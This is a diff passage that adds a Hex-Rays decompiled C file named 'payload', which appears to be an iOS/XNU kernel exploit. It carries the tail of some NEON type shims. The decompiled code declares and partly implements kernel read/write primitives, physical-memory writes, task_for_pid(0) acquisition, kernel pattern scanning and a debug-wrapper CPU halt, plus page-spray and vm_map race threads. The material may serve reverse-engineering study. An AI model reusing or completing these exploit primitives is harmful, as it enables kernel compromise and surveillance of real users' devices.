ida_int64x2_t r; + r.v64 = vdupq_n_s64(x); + return r; +} +static inline ida_int8x16_t ida_vbslq_s8(ida_int8x16_t mask, ida_int8x16_t a, ida_int8x16_t b) { + ida_int8x16_t r; + r.v = vbslq_s8(mask.v, a.v, b.v); + return r; +} +static inline ida_int8x16_t ida_vextq_s8(ida_int8x16_t a, ida_int8x16_t b, int n) { + ida_int8x16_t r; + (void)n; + r.v = vextq_s8(a.v, b.v, 8); + return r; +} +static inline ida_int8x16_t ida_vdupq_n_s8(int8_t x) { + ida_int8x16_t r; + r.v = vdupq_n_s8(x); + return r; +} +#define int8x16_t ida_int8x16_t +#define int8x8_t ida_int8x8_t +#define uint8x8_t ida_uint8x8_t +#define int32x2_t ida_int32x2_t +#define int64x2_t ida_int64x2_t +#define vcnt_s8 ida_vcnt_s8 +#define vaddlv_u8 ida_vaddlv_u8 +#define vaddq_s64 ida_vaddq_s64 +#define vrev64_s32 ida_vrev64_s32 +#define vdup_n_s32 ida_vdup_n_s32 +#define vdupq_n_s64 ida_vdupq_n_s64 +#define vdupq_n_s8 ida_vdupq_n_s8 +#define vbslq_s8 ida_vbslq_s8 +#define vextq_s8 ida_vextq_s8 #endif /* IDA_TYPES_H */ diff --git a/src/payload_377bed/orig.c b/src/payload_377bed/orig.c new file mode 100644 index 0000000..3ba1765 --- /dev/null +++ b/src/payload_377bed/orig.c @@ -0,0 +1,47900 @@ +/* This file was generated by the Hex-Rays decompiler version 9.0.0.240807. + Copyright (c) 2007-2021 Hex-Rays + + Detected compiler: GNU C++ +*/ + +#include + + +//------------------------------------------------------------------------- +// Function declarations + +__int64 __fastcall allocate_two_buffers_for_something(_QWORD *a1); +__int64 __fastcall sub_A614(__int64); +__int64 __fastcall sub_A99C(__int64); +__int64 __fastcall sub_B73C(__int64); +__int64 __fastcall sub_BED0(__int64, __int64, unsigned int, __int64); +__int64 sub_CEB8(); +__int64 __fastcall kreadbuf_again(__int64 ctx, __int64 vaddr, __int64 out, unsigned int size_1); +__int64 __fastcall sub_FAE4(_QWORD *, int8x8_t *); +__int64 __fastcall sub_FD18(_DWORD *, __int64); +__int64 __fastcall sub_FE30(__int64); +__int64 __fastcall sub_FF10(__int64, __int64, __int64, _QWORD *); +__int64 __fastcall sub_1003C(__int64, __int64, __int64, int, __int64, __int64, unsigned __int64); +void __fastcall sub_101AC(__CFDictionary *, const void *); +__int64 __fastcall sub_10214(__int64, __int64, unsigned __int64); +__int64 __fastcall sub_10414(__int64, __int64, unsigned __int64 *); +__int64 __fastcall sub_10534(_DWORD *, __int64, unsigned int, __int64 *); +__int64 __fastcall validate_addr(__int64, __int64); +unsigned __int64 __fastcall validate_addr_maybe2(__int64, unsigned __int64); +__int64 __fastcall kernel_pattern_scan(__int64, char *__s1, int); +unsigned __int64 __fastcall sub_1E854(__int64 *, __int64 *); +__int64 number_of_cpus(); +unsigned __int64 sub_1F0F4(); +__int64 sub_1F190(); +__int64 __fastcall fd_make_pipe(int *); +__int64 __fastcall setup_two_fds(unsigned int *); +__int64 __fastcall sub_1F714(__int64, const void *, size_t); +__int64 __fastcall sub_1F770(int *, void *, size_t); +__int64 __fastcall sub_211F4(__int64, __int64, unsigned __int64, unsigned __int64 *); +__int64 __fastcall sub_21200(__int64); +unsigned __int64 __fastcall sub_21388(__int64); +__n128 __fastcall sub_213D4(__int64 a1, unsigned __int64 obj, __int64 a3, __int64 a4); +double __fastcall sub_2183C(__int64, unsigned __int64, __int64); +unsigned __int64 __fastcall get_kobject_maybe(__int64 a1, unsigned __int64 obj); +__int64 __fastcall something_dmaFail(_DWORD *a1); +bool __fastcall dbgwrap_halt_cpu(__int64 ctx, __int64 dmaBase, _OWORD *value); +const __CFDictionary *__fastcall sub_24D64(const char *); +__int64 __fastcall fd_close(int); +__int64 __fastcall fd_open_dev_null(int *); +__int64 __fastcall sub_2566C(__int64, int *, unsigned __int64); +__int64 __fastcall kreadbuf_last_1(__int64, __int64, __int64, __int64); +__int64 __fastcall physmap_maybe(__int64, vm_address_t *, vm_size_t, __int64); +__int64 __fastcall sub_27808(__int64, char); +bool __fastcall kread64(_DWORD *, unsigned __int64, __int64 *); +bool __fastcall sub_288A4(__int64, unsigned __int64, __int64); +__int64 __fastcall sub_288D4(__int64); +__int64 __fastcall sub_28CE0(__int64, unsigned __int64, __int64); +__int64 __fastcall sub_28F90(__int64 ctx, unsigned __int64 targetAddr, __int64 valueBuf, unsigned int valueSize, int useFdPrimitive); +bool __fastcall kread32_outptr(__int64, unsigned __int64, void *); +__int64 __fastcall kreadbuf_via_dev_null_and_thread_state(__int64, unsigned __int64, __int64, unsigned int, int); +bool __fastcall kread64_internal(__int64, unsigned __int64, _QWORD *); +bool __fastcall kwrite64(__int64, mach_vm_address_t, __int64); +__int64 __fastcall kwritebuf_last_1(__int64, __int64, __int64, __int64); +bool __fastcall kreadbuf(__int64, unsigned __int64, mach_vm_size_t, void *, __int64); +__int64 __fastcall sub_2AABC(__int64, unsigned int); +__int64 __fastcall sub_2B0E8(__int64, __int64, __int64); +__int64 __fastcall sub_328A4(__int64, unsigned __int64); +unsigned __int64 __fastcall port_name_to_kaddr(__int64, unsigned int); +__int64 __fastcall sub_32D6C(__int64, unsigned int); +__int64 __fastcall sub_32D80(__int64, __int64); +__int64 __fastcall sub_32F1C(__int64); +__int64 __fastcall sub_33304(__int64, __int64); +__int64 __fastcall krw_task_for_pid_0(__int64, __int64, int); +__int64 __fastcall sub_33A88(__int64, __int64, char); +__int64 __fastcall sub_33B98(_DWORD *, unsigned int, unsigned __int64); +unsigned __int64 __fastcall sub_33E8C(__int64, unsigned int); +unsigned __int64 __fastcall sub_349C8(_DWORD *, unsigned int); +__int64 __fastcall sub_35E18(__int64, __int64, int); +bool __fastcall krw_ctx_has_flag(_DWORD *, int); +__int64 __fastcall sub_38378(__int64, __int64, __int64, unsigned __int64); +__int64 __fastcall sub_385F4(__int64, unsigned __int64); +__int64 __fastcall physwrite_maybe(__int64, unsigned __int64, __int64); +double __fastcall sub_38BCC(__int64, __int64); +void __fastcall sub_38D60(__int64, unsigned __int64, void *, unsigned int, int); +void __fastcall physwritebuf_idk_MAYBENOTSURE(__int64, __int64, const void *, unsigned int, int); +__int64 __fastcall sub_39A24(__int64, unsigned __int64); +unsigned __int64 __fastcall sub_39B14(_QWORD *); +// void __usercall sub_39B70(__int64@, _QWORD *@); +const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData); +CFIndex __cdecl CFDataGetLength(CFDataRef theData); +CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks); +void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value); +void __cdecl CFRelease(CFTypeRef cf); +CFDataRef __cdecl IOCFSerialize(CFTypeRef object, CFOptionFlags options); +kern_return_t __cdecl IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt); +kern_return_t __cdecl IOObjectRelease(io_object_t object); +kern_return_t __cdecl IOServiceClose(io_connect_t connect); +kern_return_t __cdecl IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect); +int *__error(void); +__int64 __ulock_wake(); +void __cdecl arc4random_buf(void *__buf, size_t __nbytes); +void __cdecl bzero(void *, size_t); +void *__cdecl calloc(size_t __count, size_t __size); +int __cdecl close(int); +int __cdecl dlclose(void *__handle); +void *__cdecl dlopen(const char *__path, int __mode); +void *__cdecl dlsym(void *__handle, const char *__symbol); +pid_t getpid(void); +uint64_t mach_absolute_time(void); +mach_port_t mach_host_self(void); +kern_return_t __cdecl mach_make_memory_entry(vm_map_t target_task, vm_size_t *size, vm_offset_t offset, vm_prot_t permission, mem_entry_name_port_t *object_handle, mem_entry_name_port_t parent_entry); +mach_msg_return_t __cdecl mach_msg(mach_msg_header_t *msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t rcv_size, mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify); +void __cdecl mach_msg_destroy(mach_msg_header_t *); +kern_return_t __cdecl mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name); +kern_return_t __cdecl mach_port_deallocate(ipc_space_t task, mach_port_name_t name); +kern_return_t __cdecl mach_port_mod_refs(ipc_space_t task, mach_port_name_t name, mach_port_right_t right, mach_port_delta_t delta); +kern_return_t __cdecl mach_port_set_attributes(ipc_space_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info, mach_msg_type_number_t port_infoCnt); +__int64 mach_reply_port(); +kern_return_t __cdecl mach_timebase_info(mach_timebase_info_t info); +int __cdecl madvise(void *, size_t, int); +void *__cdecl memcpy(void *__dst, const void *__src, size_t __n); +int open(const char *, int, ...); +int __cdecl socket(int, int, int); +kern_return_t __cdecl thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time); +kern_return_t __cdecl vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags); +kern_return_t __cdecl vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size); +kern_return_t __cdecl vm_map(vm_map_t target_task, vm_address_t *address, vm_size_t size, vm_address_t mask, int flags, mem_entry_name_port_t object, vm_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance); +kern_return_t __cdecl vm_region_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); +// __int64 __chkstk_darwin(void); weak + +//------------------------------------------------------------------------- +// Data declarations + +section_64 stru_68 = +{ + { + '_', + '_', + 't', + 'e', + 'x', + 't', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0', + '\0' + }, + "__TEXT", + 24260uLL, + 242088uLL, + 24260u, + 2u, + 0u, + 0u, + 2147484672u, + 0u, + 0u, + 0u +}; // weak +__int128 xmmword_42EC0 = 0x1000000010000000000000000LL; // weak +// extern const CFBooleanRef kCFBooleanFalse; +// extern const CFDictionaryKeyCallBacks kCFTypeDictionaryKeyCallBacks; +// extern const CFDictionaryValueCallBacks kCFTypeDictionaryValueCallBacks; +// extern mach_port_t mach_task_self_; +// extern int vm_page_shift; +// extern vm_size_t vm_page_size; + + +//----- (0000000000005EC4) ---------------------------------------------------- +__int64 __fastcall driver(_QWORD *a1) +{ + __int64 v1; // x19 + _QWORD *v3; // x0 + + v1 = 0xAD001LL; + if ( a1 ) + { + v3 = calloc(1uLL, 0x50uLL); + if ( v3 ) + { + v1 = 0LL; + *(_DWORD *)v3 = 0x20002; + v3[2] = driver_free; + v3[3] = driver_init; + v3[5] = driver_dispatch_command; + v3[6] = sub_6070; + v3[4] = driver_close; + v3[7] = sub_60A8; + v3[8] = sub_60EC; + v3[9] = sub_6224; + *a1 = v3; + } + else + { + return 0xAD009LL; + } + } + return v1; +} + +//----- (0000000000005F9C) ---------------------------------------------------- +__int64 __fastcall driver_free(_OWORD *a1) +{ + if ( !a1 ) + return 0xAD001LL; + a1[3] = 0u; + a1[4] = 0u; + a1[1] = 0u; + a1[2] = 0u; + *a1 = 0u; + free(a1); + return 0LL; +} + +//----- (0000000000005FDC) ---------------------------------------------------- +__int64 __fastcall driver_init(__int64 a1, char a2, _QWORD *a3) +{ + __int64 result; // x0 + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + v6 = 0LL; + result = 0xAD001LL; + if ( a1 && a3 ) + { + result = driver_init2(&v6, a2); + if ( !(_DWORD)result ) + *a3 = v6; + } + return result; +} + +//----- (0000000000006030) ---------------------------------------------------- +__int64 __fastcall driver_dispatch_command( + __int64 a1, + __int64 a2, + __int64 a3, + __int64 a4, + __int64 a5, + __int64 a6, + __int64 a7, + __int64 a8) +{ + if ( a1 && a2 ) + return driver_dispatch_command2(a2, a3, a3, a4, a5, a6, a7, a8, a4); + else + return 0xAD001LL; +} + +//----- (0000000000006070) ---------------------------------------------------- +__int64 __fastcall sub_6070(__int64 a1, __int64 a2) +{ + if ( a1 && a2 ) + return sub_3F2E0(a2); + else + return 0xAD001LL; +} + +//----- (000000000000608C) ---------------------------------------------------- +__int64 __fastcall driver_close(__int64 a1, char *a2) +{ + if ( a1 && a2 ) + return driver_close_internal(a2); + else + return 0xAD001LL; +} + +//----- (00000000000060A8) ---------------------------------------------------- +__int64 __fastcall sub_60A8(__int64 a1, __int64 a2, _DWORD *a3) +{ + __int64 result; // x0 + int v5; // w8 + + result = 0xAD001LL; + if ( a1 && a2 && a3 ) + { + v5 = *(_DWORD *)(a2 + 0x1918); + result = 0xAD00ALL; + if ( (unsigned int)(v5 + 1) >= 2 ) + { + result = 0LL; + *a3 = v5; + } + } + return result; +} + +//----- (00000000000060EC) ---------------------------------------------------- +__int64 __fastcall sub_60EC(__int64 a1, __int64 *a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 v5; // x20 + __int64 *v11; // x24 + unsigned __int64 v12; // x25 + _BOOL4 v13; // w26 + __int64 v14; // x2 + __int64 v15; // t1 + unsigned int v16; // w0 + __int64 v19; // [xsp+8h] [xbp-48h] BYREF + + v19 = 0LL; + v5 = 0xAD001LL; + if ( a1 && a2 && (a3 && a4 || !a3 && !a4) ) + { + if ( *a2 ) + { + v19 = *a2; + } + else + { + v5 = (*(__int64 (__fastcall **)(__int64, _QWORD, __int64 *))(a1 + 0x18))(a1, 0LL, &v19); + if ( (_DWORD)v5 ) + return v5; + } + if ( !a4 ) + goto LABEL_24; + LODWORD(v5) = 0; + v11 = (__int64 *)(a3 + 8); + v12 = 1LL; + LOBYTE(v13) = 1; + do + { + v14 = *((unsigned int *)v11 + 0xFFFFFFFE); + v15 = *v11; + v11 += 2; + v16 = (*(__int64 (__fastcall **)(__int64, __int64, __int64, __int64))(a1 + 0x28))(a1, v19, v14, v15); + if ( v13 ) + v5 = v16; + else + v5 = (unsigned int)v5; + v13 = v5 == 0; + } + while ( (a5 | v13) == 1 && v12++ < a4 ); + if ( (_DWORD)v5 ) + { + if ( !*a2 ) + { + if ( (a5 & 1) == 0 ) + (*(void (__fastcall **)(__int64, __int64))(a1 + 0x30))(a1, v19); + (*(void (__fastcall **)(__int64, __int64))(a1 + 0x20))(a1, v19); + } + } + else + { +LABEL_24: + v5 = 0LL; + *a2 = v19; + } + } + return v5; +} + +//----- (0000000000006224) ---------------------------------------------------- +__int64 __fastcall sub_6224(__int64 a1, __int64 a2) +{ + __int64 v3; // x21 + __int64 result; // x0 + host_t v6; // w0 + kern_return_t v7; // w0 + kern_return_t v8; // w20 + char *v9; // x0 + size_t v10; // [xsp+18h] [xbp-238h] BYREF + int v11; // [xsp+20h] [xbp-230h] BYREF + int v12[2]; // [xsp+28h] [xbp-228h] BYREF + kernel_version_t kernel_version; // [xsp+30h] [xbp-220h] BYREF + + v3 = 0xAD014LL; + result = 0xAD001LL; + if ( a1 && a2 ) + { + memset(kernel_version, 0, sizeof(kernel_version)); + v6 = mach_host_self(); + v7 = host_kernel_version(v6, kernel_version); + if ( v7 ) + { + v8 = v7; + if ( v7 != 0x35 ) + return v8 | 0x80000000; + *(_QWORD *)v12 = 0x400000001LL; + v10 = 0x200LL; + if ( sysctl(v12, 2u, kernel_version, &v10, 0LL, 0LL) ) + return v8 | 0x80000000; + } + if ( !strstr(kernel_version, "RELEASE") ) + return 0xAD008LL; + v9 = strstr(kernel_version, "xnu-"); + if ( v9 ) + { + v11 = 0; + v10 = 0LL; + if ( sscanf(v9, "xnu-%u.%u.%u%*s", &v10, (char *)&v10 + 4, &v11) == 3 ) + { + v3 = 0LL; + *(_QWORD *)a2 = v10; + *(_DWORD *)(a2 + 8) = v11; + } + } + return v3; + } + return result; +} + +//----- (0000000000006384) ---------------------------------------------------- +vm_address_t __fastcall sub_6384(vm_address_t src_address, vm_size_t size, boolean_t copy) +{ + vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-10h] BYREF + vm_address_t target_address; // [xsp+28h] [xbp-8h] BYREF + + *(_QWORD *)cur_protection = 0LL; + target_address = 0LL; + vm_remap( + mach_task_self_, + &target_address, + size, + 0LL, + 1, + mach_task_self_, + src_address, + copy, + &cur_protection[1], + cur_protection, + 1u); + return target_address; +} + +//----- (00000000000063E8) ---------------------------------------------------- +__int64 __fastcall sub_63E8(vm_address_t src_address, vm_size_t size, boolean_t copy) +{ + vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-10h] BYREF + vm_address_t target_address; // [xsp+28h] [xbp-8h] BYREF + + *(_QWORD *)cur_protection = 0LL; + target_address = src_address; + return vm_remap( + mach_task_self_, + &target_address, + size, + 0LL, + 0x4000, + mach_task_self_, + src_address, + copy, + &cur_protection[1], + cur_protection, + 1u); +} + +//----- (0000000000006448) ---------------------------------------------------- +unsigned __int64 __fastcall sub_6448(vm_address_t a1) +{ + __int128 v2; // [xsp+0h] [xbp-70h] BYREF + __int128 v3; // [xsp+10h] [xbp-60h] + __int128 v4; // [xsp+20h] [xbp-50h] + _DWORD v5[7]; // [xsp+30h] [xbp-40h] BYREF + vm_size_t size; // [xsp+58h] [xbp-18h] BYREF + vm_address_t address; // [xsp+60h] [xbp-10h] BYREF + mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-8h] BYREF + natural_t nesting_depth; // [xsp+6Ch] [xbp-4h] BYREF + + size = 0LL; + address = a1; + v4 = 0u; + memset(v5, 0, sizeof(v5)); + v2 = 0u; + v3 = 0u; + infoCnt = 0x13; + nesting_depth = 1; + vm_region_recurse_64(mach_task_self_, &address, &size, &nesting_depth, (vm_region_recurse_info_t)&v2, &infoCnt); + return DWORD2(v3) | ((unsigned __int64)DWORD2(v4) << 0x20); +} + +//----- (00000000000064B8) ---------------------------------------------------- +__int64 __fastcall sub_64B8(__int64 a1, __int64 a2) +{ + if ( *(_QWORD *)(a1 + 8) < *(_QWORD *)(a2 + 8) ) + return 0xFFFFFFFFLL; + else + return 1LL; +} + +//----- (00000000000064D0) ---------------------------------------------------- +__int64 __fastcall sub_64D0(__int64 a1, __int64 a2) +{ + unsigned __int64 v2; // x8 + unsigned __int64 v3; // x9 + bool v4; // cf + unsigned int v5; // w8 + + v2 = *(_QWORD *)(a1 + 8); + v3 = *(_QWORD *)(a2 + 8); + v4 = v2 >= v3; + if ( v2 <= v3 ) + v5 = 0; + else + v5 = 0xFFFFFFFF; + if ( v4 ) + return v5; + else + return 1LL; +} + +//----- (00000000000064E8) ---------------------------------------------------- +__int64 setup_thread_policy() +{ + unsigned __int64 v0; // d0 + unsigned __int64 v1; // d1 + thread_act_t v2; // w0 + mach_timebase_info info; // [xsp+8h] [xbp-18h] BYREF + integer_t policy_info[4]; // [xsp+10h] [xbp-10h] BYREF + + mach_timebase_info(&info); + LODWORD(v1) = info.numer; + LODWORD(v0) = info.denom; + policy_info[0] = (unsigned int)((double)v0 / (double)v1 * 1000000.0 * 50.0); + policy_info[1] = policy_info[0]; + policy_info[2] = policy_info[0]; + policy_info[3] = 0; + v2 = mach_thread_self(); + thread_policy_set(v2, 2u, policy_info, 4u); + return thread_switch(0, 2, 0); +} +// 6504: variable 'v0' is possibly undefined +// 6508: variable 'v1' is possibly undefined + +//----- (0000000000006564) ---------------------------------------------------- +void __fastcall sub_6564(__int64 a1, __int64 a2) +{ + __int64 v3; // x10 + char v4; // w13 + __int64 i; // x12 + __int64 v6; // x15 + __int64 v7; // x13 + __int64 v8; // x14 + __int64 v9; // x15 + __int64 *v10; // x13 + int (__cdecl *v11)(const void *, const void *); // x0 + _OWORD v12[8]; // [xsp+0h] [xbp-A0h] BYREF + + memset(v12, 0, sizeof(v12)); + v3 = *(_QWORD *)(a2 + 8); + v4 = 1; + for ( i = 1LL; i != 0xFA00; ++i ) + { + v6 = v3 + 0x100; + v3 = *(_QWORD *)(a2 + 0x10 * i + 8); + if ( v3 == v6 ) + { + ++v4; + } + else + { + if ( (v4 & 0x3F) == 0 ) + { + v7 = 0LL; + v8 = *(_QWORD *)(a2 + 0x10 * i - 0x3F8) & 0x3FFFLL | 0x4000; + while ( 1 ) + { + v9 = *(_QWORD *)&v12[v7]; + if ( !v9 ) + { + v10 = (__int64 *)&v12[v7]; + *v10 = v8; + v10[1] = 1LL; + goto LABEL_5; + } + if ( v9 == v8 ) + break; + if ( ++v7 == 8 ) + goto LABEL_5; + } + ++*((_QWORD *)&v12[v7] + 1); + } +LABEL_5: + v4 = 1; + } + } + v11 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64D0); + qsort(v12, 8uLL, 0x10uLL, v11); + *(_QWORD *)(a1 + 8) = *(_QWORD *)&v12[0]; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000066A4) ---------------------------------------------------- +void __fastcall sub_66A4(_QWORD *a1) +{ + _QWORD *v2; // x19 + void *v3; // x0 + __int64 v4; // x23 + char *v5; // x21 + __int64 i; // x23 + __int64 j; // x23 + __int64 v8; // x1 + int (__cdecl *v9)(const void *, const void *); // x0 + __int64 v10; // x8 + unsigned __int64 v11; // x12 + __int64 v12; // x9 + __int64 v13; // x13 + unsigned __int64 v14; // x15 + __int64 v15; // x14 + __int64 *v16; // x15 + __int64 v17; // x16 + __int64 v18; // t1 + bool v19; // w14 + __int64 v20; // x15 + _QWORD *v21; // x14 + vm_address_t address; // [xsp+8h] [xbp-38h] BYREF + + v2 = malloc(0x28uLL); + v2[1] = malloc(0xFA000uLL); + v3 = malloc(0x3E80uLL); + v4 = 0LL; + v2[3] = 0LL; + v2[4] = 0LL; + v2[2] = v3; + *v2 = *a1; + *a1 = v2; + do + { + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x4000uLL, 1); + v5 = (char *)v2[1]; + *(_QWORD *)&v5[v4] = address; + v4 += 0x10LL; + } + while ( v4 != 0xFA000 ); + for ( i = 0LL; i != 0xFA000; i += 0x10LL ) + { + sub_63E8(*(_QWORD *)&v5[i], 0x4000uLL, 0); + v5 = (char *)v2[1]; + } + for ( j = 0LL; j != 0xFA000; j += 0x10LL ) + { + sub_6448(*(_QWORD *)&v5[j]); + v5 = (char *)v2[1]; + *(_QWORD *)&v5[j + 8] = v8; + } + v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64B8); + qsort(v5, 0xFA00uLL, 0x10uLL, v9); + v10 = a1[1]; + if ( !v10 ) + { + sub_6564((__int64)a1, v2[1]); + v10 = a1[1]; + } + v11 = 0LL; + v12 = v2[1]; + do + { + v13 = *(_QWORD *)(v12 + 0x10 * v11 + 8); + if ( (((unsigned __int16)v10 ^ (unsigned __int16)v13) & 0x3FFF) != 0 ) + goto LABEL_19; + v14 = v11 + 1; + v15 = v13 + 0x100; + if ( *(_QWORD *)(v12 + 0x10 * (v11 + 1) + 8) == v13 + 0x100 ) + { + v16 = (__int64 *)(v12 + 0x28 + 0x10 * v11); + v17 = 1LL; + while ( v17 != 0x3F ) + { + v18 = *v16; + v16 += 2; + v15 += 0x100LL; + ++v17; + if ( v15 != v18 ) + { + v19 = (unsigned __int64)(v17 - 1) < 0x3F; + v14 = v11 + v17; + goto LABEL_17; + } + } +LABEL_18: + v20 = v2[4]; + v21 = (_QWORD *)(v2[2] + 0x10 * v20); + *v21 = *(_QWORD *)(v12 + 0x10 * v11); + v21[1] = v13; + *(_QWORD *)(v12 + 0x10 * v11) = 0LL; + v2[4] = v20 + 1; + v11 += 0x3FLL; + goto LABEL_19; + } + v19 = 1; +LABEL_17: + v11 = v14 - 1; + if ( !v19 ) + goto LABEL_18; +LABEL_19: + ++v11; + } + while ( v11 < 0xF9C1 ); +} +// 6880: conditional instruction was optimized away because x16.8==3F +// 6778: variable 'v8' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000068A0) ---------------------------------------------------- +__int64 __fastcall sub_68A0(_QWORD *a1) +{ + _QWORD *v2; // x8 + __int64 v3; // x9 + __int64 result; // x0 + + v2 = (_QWORD *)*a1; + if ( !*a1 || (v3 = v2[3], v3 == v2[4]) ) + { + sub_66A4(a1); + v2 = (_QWORD *)*a1; + v3 = *(_QWORD *)(*a1 + 0x18LL); + } + result = v2[2] + 0x10 * v3; + v2[3] = v3 + 1; + return result; +} + +//----- (00000000000068F4) ---------------------------------------------------- +void __fastcall sub_68F4(__int64 a1) +{ + __int64 i; // x21 + __int64 v3; // x22 + vm_address_t v4; // x1 + unsigned __int64 v5; // x21 + __int64 v6; // x22 + __int64 v7; // x23 + __int64 vars8; // [xsp+38h] [xbp+8h] + + for ( i = 0LL; i != 0xFA000; i += 0x10LL ) + { + v3 = *(_QWORD *)(a1 + 8); + v4 = *(_QWORD *)(v3 + i); + if ( v4 ) + { + vm_deallocate(mach_task_self_, v4, 0x4000uLL); + *(_QWORD *)(v3 + i) = 0LL; + } + } + v5 = *(_QWORD *)(a1 + 0x18); + if ( v5 < *(_QWORD *)(a1 + 0x20) ) + { + v6 = 0x10 * v5; + do + { + v7 = *(_QWORD *)(a1 + 0x10); + vm_deallocate(mach_task_self_, *(_QWORD *)(v7 + v6), 0x4000uLL); + *(_QWORD *)(v7 + v6) = 0LL; + ++v5; + v6 += 0x10LL; + } + while ( v5 < *(_QWORD *)(a1 + 0x20) ); + } + free(*(void **)(a1 + 8)); + free(*(void **)(a1 + 0x10)); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free((void *)a1); +} +// 69A8: variable 'vars8' is possibly undefined + +//----- (00000000000069B8) ---------------------------------------------------- +__int64 __fastcall sub_69B8(__int64 a1) +{ + mem_entry_name_port_t v1; // w19 + __int64 v2; // x8 + unsigned __int8 *v3; // x21 + unsigned __int8 v4; // w8 + vm_address_t address; // [xsp+18h] [xbp-38h] BYREF + + v1 = *(_DWORD *)a1; + v2 = *(_QWORD *)(a1 + 8); + atomic_fetch_add((atomic_uint *volatile)(v2 + 0x18), 1u); + v3 = (unsigned __int8 *)(v2 + 0x1C); + LOBYTE(v2) = atomic_load((unsigned __int8 *)(v2 + 0x1C)); + if ( (v2 & 1) == 0 ) + { + do + { + address = 0LL; + vm_map(mach_task_self_, &address, 0x4000uLL, 0LL, 0, v1, 0LL, 1, 1, 1, 1u); + v4 = atomic_load(v3); + } + while ( (v4 & 1) == 0 ); + } + return 0LL; +} + +//----- (0000000000006A54) ---------------------------------------------------- +__int64 __fastcall sub_6A54(__int64 a1, mem_entry_name_port_t *a2) +{ + __int64 v4; // x23 + pthread_t *v5; // x21 + _OWORD *v6; // x22 + void *(__cdecl *v7)(void *); // x0 + unsigned int v8; // w8 + __int64 v9; // x20 + mach_port_t object_handle; // [xsp+4h] [xbp-ACh] BYREF + memory_object_size_t size; // [xsp+8h] [xbp-A8h] BYREF + _OWORD v13[4]; // [xsp+10h] [xbp-A0h] BYREF + _OWORD v14[2]; // [xsp+50h] [xbp-60h] BYREF + + v4 = 0LL; + atomic_store(0, (unsigned int *)(a1 + 0x18)); + atomic_store(0, (unsigned __int8 *)(a1 + 0x1C)); + memset(v14, 0, sizeof(v14)); + memset(v13, 0, sizeof(v13)); + v5 = (pthread_t *)v14; + v6 = v13; + do + { + *(_DWORD *)v6 = a2[v4]; + *((_QWORD *)v6 + 1) = a1; + v7 = (void *(__cdecl *)(void *))nullsub_1(sub_69B8); + if ( pthread_create(v5, 0LL, v7, v6) ) + __error(); + ++v4; + ++v5; + ++v6; + } + while ( v4 != 4 ); + while ( 1 ) + { + v8 = atomic_load((unsigned int *)(a1 + 0x18)); + if ( v8 == 4 ) + break; + usleep(0x3E8u); + } + size = 0x4000LL; + object_handle = 0; + mach_make_memory_entry_64(mach_task_self_, &size, 0LL, 1, &object_handle, *a2); + v9 = 0LL; + atomic_store(1u, (unsigned __int8 *)(a1 + 0x1C)); + do + { + if ( pthread_join(*(pthread_t *)((char *)v14 + v9), 0LL) ) + __error(); + v9 += 8LL; + } + while ( v9 != 0x20 ); + return object_handle; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000006BBC) ---------------------------------------------------- +__int64 __fastcall sub_6BBC(_QWORD *a1, __int64 a2) +{ + vm_address_t *v4; // x21 + __int64 v5; // x24 + unsigned __int64 v6; // x0 + __int64 v7; // x1 + __int64 v8; // x22 + __int64 v9; // x25 + mach_port_name_t v10; // w20 + unsigned __int64 v11; // x0 + __int64 v12; // x19 + unsigned __int64 v14; // x24 + memory_object_size_t v15; // x9 + unsigned __int64 v16; // x8 + mach_port_name_t v17; // w1 + memory_object_size_t size; // [xsp+10h] [xbp-60h] BYREF + mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-58h] BYREF + __int64 v20; // [xsp+20h] [xbp-50h] + + v4 = (vm_address_t *)sub_68A0(a1); + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, *v4, 0x4000uLL); + v5 = 0LL; + *v4 = 0LL; + *(_QWORD *)object = 0LL; + v20 = 0LL; + do + { + size = 0x4000LL; + mach_make_memory_entry_64(mach_task_self_, &size, a1[2], 1, &object[v5++], 0); + } + while ( v5 != 4 ); + size = 0LL; + vm_map(mach_task_self_, &size, 0x4000uLL, 0LL, 1, object[0], 0LL, 0, 1, 1, 1u); + v6 = sub_6448(size); + if ( v7 != v4[1] ) + goto LABEL_6; + v8 = v7; + v9 = (unsigned int)(HIDWORD(v6) + 1); + v10 = sub_6A54((__int64)a1, object); + v11 = sub_6448(size); + if ( v9 == HIDWORD(v11) ) + { + mach_port_deallocate(mach_task_self_, v10); +LABEL_6: + 